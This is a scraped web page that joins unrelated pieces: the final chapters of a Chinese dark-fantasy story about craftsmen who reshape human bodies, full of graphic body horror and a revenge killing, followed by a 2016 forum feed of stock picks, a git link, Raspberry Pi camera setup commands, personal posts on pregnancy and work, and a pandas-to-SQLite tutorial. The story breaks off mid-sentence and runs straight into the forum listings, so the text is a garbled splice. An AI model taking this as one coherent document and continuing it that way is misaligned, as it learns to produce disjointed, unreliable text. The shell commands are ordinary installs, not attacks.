她说:“哪里。你天资聪颖,自幼刻苦。要说这技法之精,我也不及你。我若是有所见长,也只是技法之广罢了。这姑娘,救是可以救。但人于人匠眼中,就如同木于木匠眼中。都是物件,是器具。什么生灵,活物,都是无谓的说辞。宫中总有人,要贪这姑娘的皮肉。”

我愣住,半响无语。感觉胸口被什么压着,喘不过气来。

一阵寒意。

我攥着手里的茶杯,右手不觉的发抖,我转过头问:“前辈,宫中之恶事,你无所不知。你真的不插手么?”

她先说了四个字。

“年轻气盛。”

她又说:“程善,你见过的恶是怎样?我见过人匠把人的头沉下肩膀,让他人的眼目被自己的肠胃消化。我见过把人的喉舌嵌进镯子,叫那人求死不能。我又见过人匠把人蜕皮去骨,放到秤上像猪牛一般称量。我活的太久,做男人,女人,老人,小孩,无一不包。天下大恶,尽收眼底,你能一一去了?”

我说,好,好。

我说:“前辈成圣成魔,我不言语。前辈想当侍女便当侍女,想当权相便当权相,倒也乐得自在。我只问你几个问题,望前辈如实回答。”

她应允,脸上挂着几分失意。

我问:“请问,什么是‘铸人’?”

温良神色古井不波,她伸出自己的右臂说:“这条右臂,不是我自己的,你看的出来吧。”

我点头。

她说:“用人匠身体的一部分,混合他人之血肉,再加以特殊的技法。可以铸造一人。铸出来的人,有如真正的人。若是用人匠的部分多,就与人匠像些,甚至于心意相通。若是用人匠的部分少,就不太相仿,铸出来的人也活不长久。被铸的人若是寿命尽时,就成一团气雾,散了。”

我恍然间醒悟,脸上露出的不知是不是笑。我想笑又笑不出,只好把面容摆的狰狞,像是画像里的罗刹。

我说,前辈,今早来抱走明彩的侍女,是你铸的人吧。

她说:“是。那日我救了一位废人居的女人。但是被折腾的不成人样,身体扭曲的像是一个箩筐。我一气之下把那身体打的稀烂,然后用我的一根头发铸成了你见到的那个侍女。”

我感觉自己快结冰了。

我突然觉得自己知道温良为什么要救废人居的那个女人,那女人到底是谁。但我又痛恨自己知道,像胸口被毒刃刺穿。

哽咽。

我快说不出话来,只能含糊讲道:“前辈,那封信是你写的吧。”

她点头。

我说:“前辈。您救得女人是不是我母亲?”

她点头。

我说:“我那日用黑伞度化的老者,是不是我父亲?”

她又点头。

我起身向温良跪谢。

我说,前辈,多谢您养育之恩。

泪流。

温良摸着我的头发说,程善,别哭。你一定会是天下第一人匠,一定会好好活着。

然后,她给我讲了一个很长的故事。

18.

这故事我已经在信里看过一遍了,只是那时我还不知道,是温良讲给我听的。

我母亲曾是宫中的一个侍女,父亲是异人居的一位异人。

他是人匠,技艺超群。

他有位多年的至交,叫温良。温良潜心铸人之法,准备用自己毕生心血和右臂,铸成一个人。但是温良没有机会,他找不到合适的底子,他要把这门技艺用在最合适的人身上。

他等了蛮久,然后等到了机会。

应家的寝宫要降生新皇子,先皇应天安等待着自己的儿子和未来的国君的诞生。

噩耗打击了应天安。皇子应如意夭折。

温良说,我能救活皇子。

先皇说,好,若成,赐你荣华。

温良斩下了自己的右臂,铸成了新的应如意。

新皇子生来便有二十多岁模样。先皇吓得惶惶不安,惊惧万分,大叫“怪胎!”,然后一病不起。

又过了两年,应如意登基。

应如意说,天下应如意,我要求万人长生。

人于人匠,如木于木匠。他有人匠一臂,可以施人匠之法。他要让人融于万物,求得万人不朽。要人成椅子,成桌子,成瓷瓶,成怪,成魔,生不如死。

温良没有得到荣华,他活在悔恨和厌倦里。没了铸人的痴求,他什么也不剩。他没曾想,铸人失败,就会铸成魔。他找了位被应如意玩弄到求死的侍女,杀了她。取了侍女的皮囊,他变成她。

温良就想这样活着。

父母当时刚刚生下我。

母亲被折磨不堪,父亲为了救母亲,像我一样血脉相连,一夜白头,纹上眉梢。

时间在父亲身上汹涌流逝。

父亲一直反对温良铸人,但这时,他说:“我俩尚不能自保。但善儿不能没有父母。你取我双手,去铸成一男子。再用你杀的那侍女和你发丝一根,去铸一位女子。去罢。”

这二人,便是我父母。

温良取了我父亲双手,在废人居找了位男子,铸成我记忆中的“父亲。”然后又取了自己几根骨和发丝,铸成了我记忆中的“母亲。”

应如意只有右手有人匠之能,他要我父亲献上左手,才是完整人匠。但我父亲已经没有左手可献,他只剩两只残臂,手只是一阵幻痛。

应如意说,好,你没有手,那还当人干什么,不如当椅子。而且你没有,总有一天你有子嗣,子嗣也会有手。

温良说,要程善的左手,应如意才会罢休。

于是我单手,成为人匠。

温良算过,男子用双手铸成,至多活十一二载。女子用骨和发丝铸成,也不过二十载。所以必须吩咐,让我十六岁前离家。

然后我来到皇城。

然后我来到宫中。

然后我用黑伞杀了那位已经不成人形的老者,那是我父亲,他被做成椅子,有七年。

然后温良救出了废人居里,我那要被做成箩筐的母亲,把她打成血肉,铸成一位侍女。这位侍女,只靠这根发丝,只能铸成中空骨,空心肉。最多能活三月。

最后我来到已经是妙龄侍女的温良面前,听完了这个故事。

我说,谢谢你。

我说,谢谢这天下,如此善待我。万谢应如意。

我说,皇上万福金安。皇上天地同寿。

我明白一切的始作俑者都是温良,但我恨不起来她。从某种意义上说,她就是我的父母。她养我育我,除了没有告诉我古书第十二章《铸人》外,传给我一切。甚至不垂涎程家的黑伞。

她成全我。

我说:“温良。我懂了。你能不能再帮我一次。我愿意什么都给你。”

温良说:“我缺一只作为人匠的右手,你也能给么?你给我之后,就是普通人了,连黑伞也没得资格打开。”

她别过头说:“老道的人匠天下不知几许,但是持黑伞的程善只有一个。”

我说:“能。在你帮我之后,我就给你。我没有手,也无所谓。当普通人,也没所谓。”

温良不悲不喜,她合上了紫砂壶的盖子。把那一盏茶倒在地上。

她说,好,我帮你。

我这次笑了,难得笑的很开心。我说,那好,让我看一眼明彩吧。明日酉时末,我们就动身。

我穿过回廊,走了几间房,见到了面色苍白的明彩。

明彩见我很兴奋,她跳起身来,给我舞动了拳脚,尽力打的生龙活虎。我一只手攥住了她要挥动的手臂。

我卸力说:“你看,要是以前的你,我哪里攥得住。”

她撇撇嘴说,切,那是我让你。

我说:“好了,不用逞强了。你身体没大碍了?”

她说:“全好了。温良姐姐是位大善人,也比你厉害多了。”

我笑着点头说:“我也这么想。温良的确是位善人,也比我厉害多了。”

我看了看周围散落的画纸,都没能成画,只是在纸上潦草几笔。倒像是孩子赌气的涂鸦。

我说,怎么不画了?

她说,没得画,这些东西太丑了,不想画。

我说:“行,随你心意。你要画便画,还要多加休息,照看自己。”

她佯装嗔怒道:什么时候明女侠的事情也要你叮嘱了?

我说,是小的的错,臣有错,臣悔过。

她看我这幅滑稽的作态,要笑出声来,但是还没笑,就开始咳,咳得站不稳,像柳叶随风。

我连忙搀着她到床上躺着。她说:“你不用管我。你怎么像老了几十岁一样?是我眼花了么?”

我说,哪里,我本来相貌就老成。

她说:“不对,我能看出来。你的身体比你的心老的快。发生什么事了么?”

我能感觉到她冷汗在流,她像这样撑着大声说话,应该胸和肺都像刀挂一样痛。她是很勉强的吧。我的心一阵疼,连忙说:“明天再来看你吧,我去办些事情。”

我看了看地上的画,总觉得该说些什么。脑子里像是一片浆糊没了头绪,嘴上却笨拙的,把那锐的话都说钝了。

我说:“明彩,我…。挺喜欢你的画的。”

她硬挤着全部的气力说:“明天等着我的画吧!”

出来时,温良在门口站着等我,应该是一直在听我俩讲话。她只说了句。

“睡吧。好好睡一觉。明天起来,就什么都有了。”

那夜我进入梦乡,梦见一片雪白之中,明彩穿着一袭白衣来见我。嘴里唱着清澈的曲调,唱着“千般魔,千般佛,任由他人说。”

我听着那曲子,慢慢被大雪淹没。

19.

这日酉时,我准时到应如意的书房。

书房里摆满了大大小小的瓷器,摆件,甚至脸谱。

应如意很高兴,他笑的开怀,连说:“来,程善老弟,我给你看我收藏的这些器物。个个都是宝贝。”

我说,哦?皇上尽拥整个天下,竟然还有皇上所稀罕的宝贝,那我真得见上一见。

他说:“哪里哪里。给我做事,将来不会亏待你。这些宝贝,你想要哪个,我都分给你。”

我轻笑说:“皇上说笑了。这都是皇上千方百计拿来的典藏,我哪敢奢求呢?”

应如意拍拍我肩膀说:“不难不难。难得是这颗心。”

他问:“程善。你看,做人匠,单单是修人,岂不是大材小用?”

我问,皇上有何高见?

他指着那堆瓷器说:“高见倒是谈不上。你看,那里面有窈窕的少女,有佝偻的老者,有车夫有店小二甚至有山贼,芸芸众生相都让我打作肉泥堆砌在里面,岂不是万世长存,这才是人之大匠,才是人匠之本啊。”

应如意啊,你只是人匠铸成的一个木偶,一个玩具。也不过活二十几年的光载,还能妄贪万世。

我强挤出欣然的表情说:“皇上所言极是。看来我之前所求人匠之道,反倒是窄了,小了。”

他又指着那边摆着的脸谱说:“别这样妄自菲薄。你再看,那墙上挂的,都是人的面皮。这脸谱,岂不是活灵活现?”

我点点头说:“果然生动非常,真是绝世无双。”

我定睛一看,一眼扫到了墙上明彩的面庞。

我指着明彩的脸说:“皇上,这面皮……”

应如意神色一滞,他说:“老弟,你想要这个?这是我今早刚刚拿来的收藏,还新鲜。不过你若是喜欢,我绝无吝啬的道理。”

明彩就这样被做成了脸谱。她要被活剥,要被去骨,要刮下脸上的面皮。然后挂在墙上。我再也没机会看到明彩的画作了。

我不敢想,一动这念头,就觉得残忍。

我没有伤痛的力气。

我父母,我明彩,我左手。我与谁问。

我想起那日离家,前往皇城。我热着全身的血,背着长筒,觉得自己是天下第一人匠,觉得自己能独步天下,举世无双。

人匠可以修人,不能修心。可以修千万人,不能修天下人。

浮生幻影。

热血尽凉,只剩这一腔还发烫。

我抽出了长筒里的伞,举在我面前。

我问:“应如意,你知道善恶么?”

应如意看见我那黑伞,面色淡然。他说:“程善,我之前就说你不懂礼法。你看看,天子面前,就要贸然动刀兵。你也年纪不小,怎么还信善恶那一套?”

我突然笑出声来,我把伞张开,伞上的黑色雕文绽放在书房里,周遭所有器物为之一颤。那些器具桌椅里面的人,尽皆被我毁做肉泥。万千血雾从周遭腾起,一一附到我那伞上。屋内像是爆开一团血莲,一股血腥味浓郁后又消散不见。

一伞开,杀生无数。

应如意叹息道:“可怜我这些藏品,都被你这伞毁了。你杀这书房里这么多人,难道就能称之为善了么?”

我说:“谁说我是善?谁说我是恶?庸人才信善恶。善人有善报?恶人有恶报?都是虚妄之言。我只讲因果。你杀天下多少人,是你的能耐。但你杀我父母,杀我明彩,取我左手。是你种下的因,今天,才是果。”

我听见外面侍卫腾腾的脚步,像海浪一般涌来。

应如意说,我知道你要来,不会一点防备没有的。你是程善,不是什么凡夫俗子。

我说,皇上说笑了,我就是凡夫俗子。

应如意说:“可惜,可惜,可惜啊。时至今日,还要我亲自来,我来教你为臣的礼节。”

我说:“不了,你若想听礼法,我讲给你。”

我放声大呵,声如洪钟大吕,回荡于三宫六院,久久未散:“我是程家唯一子嗣,天下第一人匠,程善!今我持黑伞求应如意一见,与你讨我父母债,我明彩债,及千千万万血债,愿你一并偿!”

我知道应如意有人匠双手,黑伞不能伤他分毫。但我开着伞只是为了戒备周遭赶来的侍卫,不让他们近身。

这撑不了多久,外面是万箭齐发的破空声。

我很快的被箭雨打的血肉模糊,倒在血泊里,眼睛也被血染。

朦胧中,应如意说:“程善。黑伞不能救你,只有我才能救你。”

他靠过身来,想要拿那把黑伞。

我摇摇头说:“应如意。你也不能救我,因为你救不了你自己。”

我言罢,从右手袖口中又伸出一只手,像蛇一样盘过应如意的脖颈,然后狠狠捏住他的面庞。

我看到应如意惊惧在眼神里像洪水一样流过,下一刻就是他的整个头颅像是泄了气的皮囊一样瘫软下去。

这是温良借给我的手。这是我特意为了应如意准备的极致盛宴。

我笑着说,这下,你永生啦。

那手像软泥一样疯狂的倾泻进应如意空空如也的头颅里,我的袖口有如一团乱根般窜出皮肉向应如意身体涌去。他的头又饱满起来,恢复了原来的面目。

我说:“让你把头嵌进这么小的地方,委屈你了前辈。这右手,你随意取用。”

这一刻跟我说话的,是拿了应如意皮囊的温良。

温良摆了摆自己的右手说

“不用了,我拿回了自己的右臂,要你的右手有何用?”

我说,那好,前辈,愿你善待这天下。

温良笑而不答。过了半响,他说,也愿天下善待我。

他开门走出,大声道:“反贼程善已被就地正法!。”

20.

等我再次修好自己的时候,已经是满头银发。

我从皇宫离开时,温良说可以让我尽享荣华。我说不了,已经累了。

我什么都不想要了。

没有亲人,没有自己。只有明彩的画,我留着。

还有一块墨色的玉玦,像是太极的一边。这是家传的古玉。

除此之外,皆无。

我背着明彩的画卷走着,走在当年经过的山路上。又遇见同一伙山贼。也还是那个头目。他从山上走下来说

“程家少爷…,你的头发怎么…?”

我笑着说,没事,权当被雪染了。

他说:“少爷,当年我们不是要打劫你的。只是上面有令,他们说,当山贼,我不管。但是要是有背长筒的少年,一定要留心。”

我点点头说,没事,我不在意的。

他说话的时候,我背后的画卷狂颤。

我说,我先走了,有缘再见。

那头目拜谢我说:“程大人宽宏大量,小的心领了。”

我笑笑,没说话。

我走了好远,一直走到无人的林间。

扯开颤动的画卷,上面空空如也。

耳边是梦中的歌声,是明彩在我耳边清唱。我回头,林间恍若有霜雪飞舞。

明彩披着白色大氅,持着一根画笔站在我身后。

我不惊讶,我总是梦见她,我总觉得终有一日我们会相见。

她一直唱到“千般圣,千般魔,任由他人说。”

她轻笑问我:好听么。

我点头说,好听。

我答应她一定会

根叔的目前四大金刚

股票李魔佛 发表了文章 • 0 个评论 • 491 次浏览 • 2016-05-22 13:30 • 来自相关话题

中科创达
信息发展
普路通
博雅生物
 
 
中科创达
信息发展
普路通
博雅生物
 
 

忙不是因为你事情多,是因为你笨

默认分类李魔佛 发表了文章 • 0 个评论 • 530 次浏览 • 2016-05-22 11:11 • 来自相关话题

时刻提醒自己
 
时刻提醒自己
 
b859de43a362ff7256ebde81909f8682_b_副本.jpg

推荐一个很详细的git教程

默认分类李魔佛 发表了文章 • 0 个评论 • 488 次浏览 • 2016-05-21 19:40 • 来自相关话题

http://www.open-open.com/lib/view/open1328069889514.html
 
非常详细。
 
刚开始开github的官方教程,一开始看完了,就以为自己学会了。 
殊不知,自己平时写项目的碰到各种莫名其妙的问题,只好东爬西摸,靠着搜索,不懂一点搜一点。 不过这种效果不好,只知道怎么做,却不知道为什么要这么做。
 
偶尔看到上面的一份教程,国人写的,非常详细,比廖雪峰写的都还好。
 
如果耐心看完的话,以后使用git是没啥大问题的啦。 查看全部
http://www.open-open.com/lib/view/open1328069889514.html
 
非常详细。
 
刚开始开github的官方教程,一开始看完了,就以为自己学会了。 
殊不知,自己平时写项目的碰到各种莫名其妙的问题,只好东爬西摸,靠着搜索,不懂一点搜一点。 不过这种效果不好,只知道怎么做,却不知道为什么要这么做。
 
偶尔看到上面的一份教程,国人写的,非常详细,比廖雪峰写的都还好。
 
如果耐心看完的话,以后使用git是没啥大问题的啦。

树莓派2代 接通用usb摄像头

树莓派李魔佛 发表了文章 • 0 个评论 • 2795 次浏览 • 2016-05-21 19:25 • 来自相关话题

首先下载必要的usb播放工具
使用apt-get可以很方便下载到sudo apt-get install fswebcam
sudo apt-get install mplayer
sudo apt-get install alsamixer
安装后接入usb摄像头,在命令行下执行sudo ls /dev/video0









如果有这一个设备,说明你的usb摄像头兼容你的树莓派的驱动,不然还的额外去找第三方的摄像头驱动。

接着可以直接在命令行打开摄像头sudo mplayer tv://
然后选择一个画面进行拍摄sudo fswebcam -no-banner -r 640*480 image.jpg





大功告成。 查看全部
首先下载必要的usb播放工具
使用apt-get可以很方便下载到
sudo apt-get install fswebcam
sudo apt-get install mplayer
sudo apt-get install alsamixer

安装后接入usb摄像头,在命令行下执行
sudo ls /dev/video0




154057zp3w3go3vvizbrlq.png


如果有这一个设备,说明你的usb摄像头兼容你的树莓派的驱动,不然还的额外去找第三方的摄像头驱动。

接着可以直接在命令行打开摄像头
sudo mplayer tv://

然后选择一个画面进行拍摄
sudo fswebcam -no-banner -r 640*480 image.jpg

154058ks2w6tvt2zv4t9dw.png


大功告成。

深漂 -“To be or not To be”

默认分类xenia 发表了文章 • 0 个评论 • 535 次浏览 • 2016-05-21 10:59 • 来自相关话题

在深圳找租房,真是说多了都是泪~
稍微满意的,要不就是价钱太高,要不就秒租出去了~
 
因为今年房价水涨船高
刚需的望而生畏
同时,房东坐地起价
租客也苦不堪言
在这个一线城市,贫富差距如此之大
是离开
还是继续坚守
成了深漂的“To be or not To be”
 
  查看全部
在深圳找租房,真是说多了都是泪~
稍微满意的,要不就是价钱太高,要不就秒租出去了~
 
因为今年房价水涨船高
刚需的望而生畏
同时,房东坐地起价
租客也苦不堪言
在这个一线城市,贫富差距如此之大
是离开
还是继续坚守
成了深漂的“To be or not To be”
 
 

宝贝,自从有了你

默认分类xenia 发表了文章 • 0 个评论 • 528 次浏览 • 2016-05-20 11:42 • 来自相关话题

一女同事突然间休了一个多月假,见她昨天回来上班了
“亲,许久不见,休假去哪了” 
她步履蹒跚的走过来,说了句“哎,累着了”
  
通过聊天才得知她怀孕了
但由于初期没有发现,过于劳累,现在还处于保胎过程中
她说她其实在这休假一个月
每一次出现任何不好的状况,都让她心惊胆战,百度了无数答案
于求心安
但百度也有更多的不好的答案及评论,让她不寒而栗
她只求快点度过这前三个月,一切顺利就好
也许同样作为孕期,我非常理解她的感受
 
不禁让我想起了我刚刚过去的“前三个月”
至今记忆犹新
我记得在两个月的时候,突然间胃口全无,无论是厨房油烟的味道,洗手间的味道,甚至打开冰箱门散发出来的味道,都让我的胃翻江倒海
见到曾经我最爱的“肉食” 也都无动于衷
鸡蛋更加不敢碰,还记得当时非常嫌弃吃鸡蛋,还被LG说“太矫情,太公主了”
那段时间内心充满了委屈,经常不自觉的掉眼泪,心想,他怎么这么不理解我呢?

想想平时坐长途车都没事,但那会连坐一趟短暂的公交也吐得稀里哗啦,出门随身都得备着塑胶袋
刚好当时碰上过年假期
本以为可以享受过年大鱼大肉,可惜,每天只能将就吃点白粥咸菜,可怜兮兮
当时,委屈得在给妈妈的电话中难以自拔地放声大哭
不停地说着“ 妈妈,实在太难受了”
妈妈也只能安慰我说”别怕 孩子,熬完前三个月就会好起来的,就算吐也要勉强自己多吃点,不要饿坏了“
真的好不容易边强忍着饿,边强忍着吐
就这样,坚持上班,度过了这痛苦的前三个月~
 
现在才深深明白
只有一个女孩当她自己成为了母亲,才更理解自己的母亲
想起自己叛逆时期,经常顶撞母亲,内心顿时愧疚不已...
以后一定要好好孝敬自己的妈妈才行啊~
十月怀胎真心不易
胎儿的一举一动,每次的孕检数据,都牵动着妈妈的心
还记得去检查唐氏的忐忑,四维彩超的不安,糖耐的痛苦
幸运的是都顺利走过来了
还有几个月就要和宝宝见面了
在接下来的日子里
心里只有一个单纯的愿望“只要宝宝健康,足月出生,平安快乐的成长就好,别无所求”~
 

 
 
 
 
 
  查看全部
一女同事突然间休了一个多月假,见她昨天回来上班了
“亲,许久不见,休假去哪了” 
她步履蹒跚的走过来,说了句“哎,累着了”
  
通过聊天才得知她怀孕了
但由于初期没有发现,过于劳累,现在还处于保胎过程中
她说她其实在这休假一个月
每一次出现任何不好的状况,都让她心惊胆战,百度了无数答案
于求心安
但百度也有更多的不好的答案及评论,让她不寒而栗
她只求快点度过这前三个月,一切顺利就好
也许同样作为孕期,我非常理解她的感受
 
不禁让我想起了我刚刚过去的“前三个月”
至今记忆犹新
我记得在两个月的时候,突然间胃口全无,无论是厨房油烟的味道,洗手间的味道,甚至打开冰箱门散发出来的味道,都让我的胃翻江倒海
见到曾经我最爱的“肉食” 也都无动于衷
鸡蛋更加不敢碰,还记得当时非常嫌弃吃鸡蛋,还被LG说“太矫情,太公主了”
那段时间内心充满了委屈,经常不自觉的掉眼泪,心想,他怎么这么不理解我呢?

想想平时坐长途车都没事,但那会连坐一趟短暂的公交也吐得稀里哗啦,出门随身都得备着塑胶袋
刚好当时碰上过年假期
本以为可以享受过年大鱼大肉,可惜,每天只能将就吃点白粥咸菜,可怜兮兮
当时,委屈得在给妈妈的电话中难以自拔地放声大哭
不停地说着“ 妈妈,实在太难受了”
妈妈也只能安慰我说”别怕 孩子,熬完前三个月就会好起来的,就算吐也要勉强自己多吃点,不要饿坏了“
真的好不容易边强忍着饿,边强忍着吐
就这样,坚持上班,度过了这痛苦的前三个月~
 
现在才深深明白
只有一个女孩当她自己成为了母亲,才更理解自己的母亲
想起自己叛逆时期,经常顶撞母亲,内心顿时愧疚不已...
以后一定要好好孝敬自己的妈妈才行啊~
十月怀胎真心不易
胎儿的一举一动,每次的孕检数据,都牵动着妈妈的心
还记得去检查唐氏的忐忑,四维彩超的不安,糖耐的痛苦
幸运的是都顺利走过来了
还有几个月就要和宝宝见面了
在接下来的日子里
心里只有一个单纯的愿望“只要宝宝健康,足月出生,平安快乐的成长就好,别无所求”~
 

 
 
 
 
 
 

如果就这样混着

默认分类xenia 发表了文章 • 1 个评论 • 526 次浏览 • 2016-05-19 15:56 • 来自相关话题

今早,照例开早会,领导说“在这里发布一个通知,公司管理层一致决定,希望大家在下班之余,可以自愿报名多学习其他部门的技能,或者将自己手上工作写成一份指导书,带领新徒弟,成为老师,专家,当然加班学习及培训,公司也会给予加班费的,这也是公司为各位的发展和晋升考虑,所以也是咱们公司特定的人才专项培养计划“
 
说罢,全场组员却无动于衷,鸦雀无声~
而领导来不及适应这种沉默,以为他提出了学习都有加班费,组员会争先恐后,跃跃欲试~
 
当今职场的人都不傻
都知道公司这么干的直接目的
美名其曰是“人才专项培养计划”
其实潜台词就是,首先把你熟悉的工作写成了指导书,供后人填补你岗位的人直接使用,俗话说,卸磨杀驴啊,就算离职,也不会一下子对公司造成什么损失
另外就是到其他部门学习,实际上就是公司人手不够,除了要求你再自己产线上完成你的工作外,还希望你到其他部门去支援,因为公司不喜欢有些部门就加班加到手软,而有些部门下班时间到点即走的现象
关于那零星的加班费,更加没有吸引力~
或许对于刚毕业的热血青年还有鸡血的作用,对于我们这些老油条,多一事还不如少一事 ,落得清净~
只是大部分人心照不宣
当领导问起,对以上计划有异议吗,没有的话,我们就开始执行咯
虽然只是例牌问话
但每个人几乎都是面无表情的回应‘没有异议”,无人反抗~
 
会后,组员的内部的讨论组 开始怨声四起
每个人都愤愤不平
只是这时候只能瞎吐槽,发牢骚罢了
想混下去,还是得服从啊~
日复一日,如果就这样混着~ 直到混不动的那一天,还有多久?~值得反思~
 
 
 
 
 
 

 
 

 
 
 
  查看全部
今早,照例开早会,领导说“在这里发布一个通知,公司管理层一致决定,希望大家在下班之余,可以自愿报名多学习其他部门的技能,或者将自己手上工作写成一份指导书,带领新徒弟,成为老师,专家,当然加班学习及培训,公司也会给予加班费的,这也是公司为各位的发展和晋升考虑,所以也是咱们公司特定的人才专项培养计划“
 
说罢,全场组员却无动于衷,鸦雀无声~
而领导来不及适应这种沉默,以为他提出了学习都有加班费,组员会争先恐后,跃跃欲试~
 
当今职场的人都不傻
都知道公司这么干的直接目的
美名其曰是“人才专项培养计划”
其实潜台词就是,首先把你熟悉的工作写成了指导书,供后人填补你岗位的人直接使用,俗话说,卸磨杀驴啊,就算离职,也不会一下子对公司造成什么损失
另外就是到其他部门学习,实际上就是公司人手不够,除了要求你再自己产线上完成你的工作外,还希望你到其他部门去支援,因为公司不喜欢有些部门就加班加到手软,而有些部门下班时间到点即走的现象
关于那零星的加班费,更加没有吸引力~
或许对于刚毕业的热血青年还有鸡血的作用,对于我们这些老油条,多一事还不如少一事 ,落得清净~
只是大部分人心照不宣
当领导问起,对以上计划有异议吗,没有的话,我们就开始执行咯
虽然只是例牌问话
但每个人几乎都是面无表情的回应‘没有异议”,无人反抗~
 
会后,组员的内部的讨论组 开始怨声四起
每个人都愤愤不平
只是这时候只能瞎吐槽,发牢骚罢了
想混下去,还是得服从啊~
日复一日,如果就这样混着~ 直到混不动的那一天,还有多久?~值得反思~
 
 
 
 
 
 

 
 

 
 
 
 

30天学会量化交易模型 Day03

量化交易李魔佛 发表了文章 • 9 个评论 • 6764 次浏览 • 2016-05-18 23:33 • 来自相关话题

第二天讲到保存为csv文件,下面的命令将数据保存为我们更加常用,且兼容性更好的excel文件 和sql数据库文件。
 





 
常用参数说明:

excel_writer: 文件路径或者ExcelWriter对象
sheet_name:sheet名称,默认为Sheet1
sep : 文件内容分隔符,默认为,逗号
na_rep: 在遇到NaN值时保存为某字符,默认为’‘空字符
float_format: float类型的格式
columns: 需要保存的列,默认为None
header: 是否保存columns名,默认为True
index: 是否保存index,默认为True
encoding: 文件编码格式
startrow: 在数据的头部留出startrow行空行
startcol :在数据的左边留出startcol列空列


tushare数据保存到SQL数据库文件

df.to_sql(表名,数据库的连接器)
引用官方的参数:

pandas.DataFrame.to_sql

DataFrame.to_sql(name, con, flavor=None, schema=None, if_exists='fail', index=True, index_label=None,chunksize=None, dtype=None)[source]

Write records stored in a DataFrame to a SQL database.

Parameters:

name : string

Name of SQL table

con : SQLAlchemy engine or DBAPI2 connection (legacy mode)

Using SQLAlchemy makes it possible to use any DB supported by that library. If a DBAPI2 object, only sqlite3 is supported.

flavor : ‘sqlite’, default None

DEPRECATED: this parameter will be removed in a future version, as ‘sqlite’ is the only supported option if SQLAlchemy is not installed.

schema : string, default None

Specify the schema (if database flavor supports this). If None, use default schema.

if_exists : {‘fail’, ‘replace’, ‘append’}, default ‘fail’

fail: If table exists, do nothing.
replace: If table exists, drop it, recreate it, and insert data.
append: If table exists, insert data. Create if does not exist.

index : boolean, default True

Write DataFrame index as a column.

index_label : string or sequence, default None

Column label for index column(s). If None is given (default) and index is True, then the index names are used. A sequence should be given if the DataFrame uses MultiIndex.

chunksize : int, default None

If not None, then rows will be written in batches of this size at a time. If None, all rows will be written at once.

dtype : dict of column name to SQL type, default None

Optional specifying the datatype for columns. The SQL type should be a SQLAlchemy type, or a string for sqlite3 fallback connection.

这里只支持sqlalchemy和sqlite。 所以如果是用的mysql,需要安装sqlalchemy的插件才行。

这里使用简单的sqlite3 作为例子:import sqlite3
db=sqlite3.connect("testdb.db")
df = ts.get_k_data('300333',start='2016-01-01',end='2016-12-28')
df.to_sql("newtable",db,flavor='sqlite')

这样,数据就保存到到名字为testdb.db的数据库中,表名为 newtable


 
上一篇:30天学会量化交易模型 Day02 
http://30daydo.com/article/13 

下一篇:30天学会量化交易模型 Day04 (tushare获取破新高的股票)
链接: http://www.30daydo.com/article/70 

  查看全部
第二天讲到保存为csv文件,下面的命令将数据保存为我们更加常用,且兼容性更好的excel文件 和sql数据库文件。
 

excel.jpg

 
常用参数说明:

excel_writer: 文件路径或者ExcelWriter对象
sheet_name:sheet名称,默认为Sheet1
sep : 文件内容分隔符,默认为,逗号
na_rep: 在遇到NaN值时保存为某字符,默认为’‘空字符
float_format: float类型的格式
columns: 需要保存的列,默认为None
header: 是否保存columns名,默认为True
index: 是否保存index,默认为True
encoding: 文件编码格式
startrow: 在数据的头部留出startrow行空行
startcol :在数据的左边留出startcol列空列


tushare数据保存到SQL数据库文件

df.to_sql(表名,数据库的连接器)
引用官方的参数:


pandas.DataFrame.to_sql

DataFrame.to_sql(name, con, flavor=None, schema=None, if_exists='fail', index=True, index_label=None,chunksize=None, dtype=None)[source]

Write records stored in a DataFrame to a SQL database.

Parameters:

name : string

Name of SQL table

con : SQLAlchemy engine or DBAPI2 connection (legacy mode)

Using SQLAlchemy makes it possible to use any DB supported by that library. If a DBAPI2 object, only sqlite3 is supported.

flavor : ‘sqlite’, default None

DEPRECATED: this parameter will be removed in a future version, as ‘sqlite’ is the only supported option if SQLAlchemy is not installed.

schema : string, default None

Specify the schema (if database flavor supports this). If None, use default schema.

if_exists : {‘fail’, ‘replace’, ‘append’}, default ‘fail’

fail: If table exists, do nothing.
replace: If table exists, drop it, recreate it, and insert data.
append: If table exists, insert data. Create if does not exist.

index : boolean, default True

Write DataFrame index as a column.

index_label : string or sequence, default None

Column label for index column(s). If None is given (default) and index is True, then the index names are used. A sequence should be given if the DataFrame uses MultiIndex.

chunksize : int, default None

If not None, then rows will be written in batches of this size at a time. If None, all rows will be written at once.

dtype : dict of column name to SQL type, default None

Optional specifying the datatype for columns. The SQL type should be a SQLAlchemy type, or a string for sqlite3 fallback connection.


这里只支持sqlalchemy和sqlite。 所以如果是用的mysql,需要安装sqlalchemy的插件才行。

这里使用简单的sqlite3 作为例子:
import sqlite3
db=sqlite3.connect("testdb.db")
df = ts.get_k_data('300333',start='2016-01-01',end='2016-12-28')
df.to_sql("newtable",db,flavor='sqlite')

这样,数据就保存到到名字为testdb.db的数据库中,表名为 newtable


 
上一篇:30天学会量化交易模型 Day02 
http://30daydo.com/article/13 

下一篇:30天学会量化交易模型 Day04 (tushare获取破新高的股票)
链接: http://www.30daydo.com/article/70 

 

陪着你长大

默认分类xenia 发表了文章 • 0 个评论 • 470 次浏览 • 2016-05-18 14:14 • 来自相关话题

女同事 三三两两一起吃中饭时,免不了会聊到带娃,婆媳相处等家庭琐事~
 
其中一位同事讲起她和她婆婆相处的经历,让我印象颇深~
由于工作原因,把小孩放在老家留给婆婆带
如今小孩2岁了,当她好不容易请假回到老家看小孩时,发现自己的孩子跟城里的孩子相去甚远
不讲卫生
脾气暴躁
内心孤僻
更为严重的是,连自己的妈妈都不认识,在她婆婆的引导下,竟然把婶婶当做妈妈来喊
她内心隐隐作痛
心里咬着牙 要把小孩接到城里,和自己相处
可惜小孩早已习惯了奶奶,离不开奶奶了,一时之间无法强行让小孩也奶奶分开~
就这样又独自一人返回城里工作
可是她的心五味杂陈~
 
如果不是现实万般无奈
相信很少人会让自己的小孩成为留守儿童~
虽然很理解这位女同事的境遇,但内心泛起涟漪~
做父母的,是否就可以只管生,不管养呢
然后以工作的理由,就把小孩轻易丢给老人带呢
还是要尽自己最大努力,把小孩留在自己身边,一点一滴的教育呢
 
我自己也即将成为母亲了
看到这么多留守儿童的问题,我暗自下定决心
不管有多难
我都要陪着孩子一起长大~
 
 
  查看全部
女同事 三三两两一起吃中饭时,免不了会聊到带娃,婆媳相处等家庭琐事~
 
其中一位同事讲起她和她婆婆相处的经历,让我印象颇深~
由于工作原因,把小孩放在老家留给婆婆带
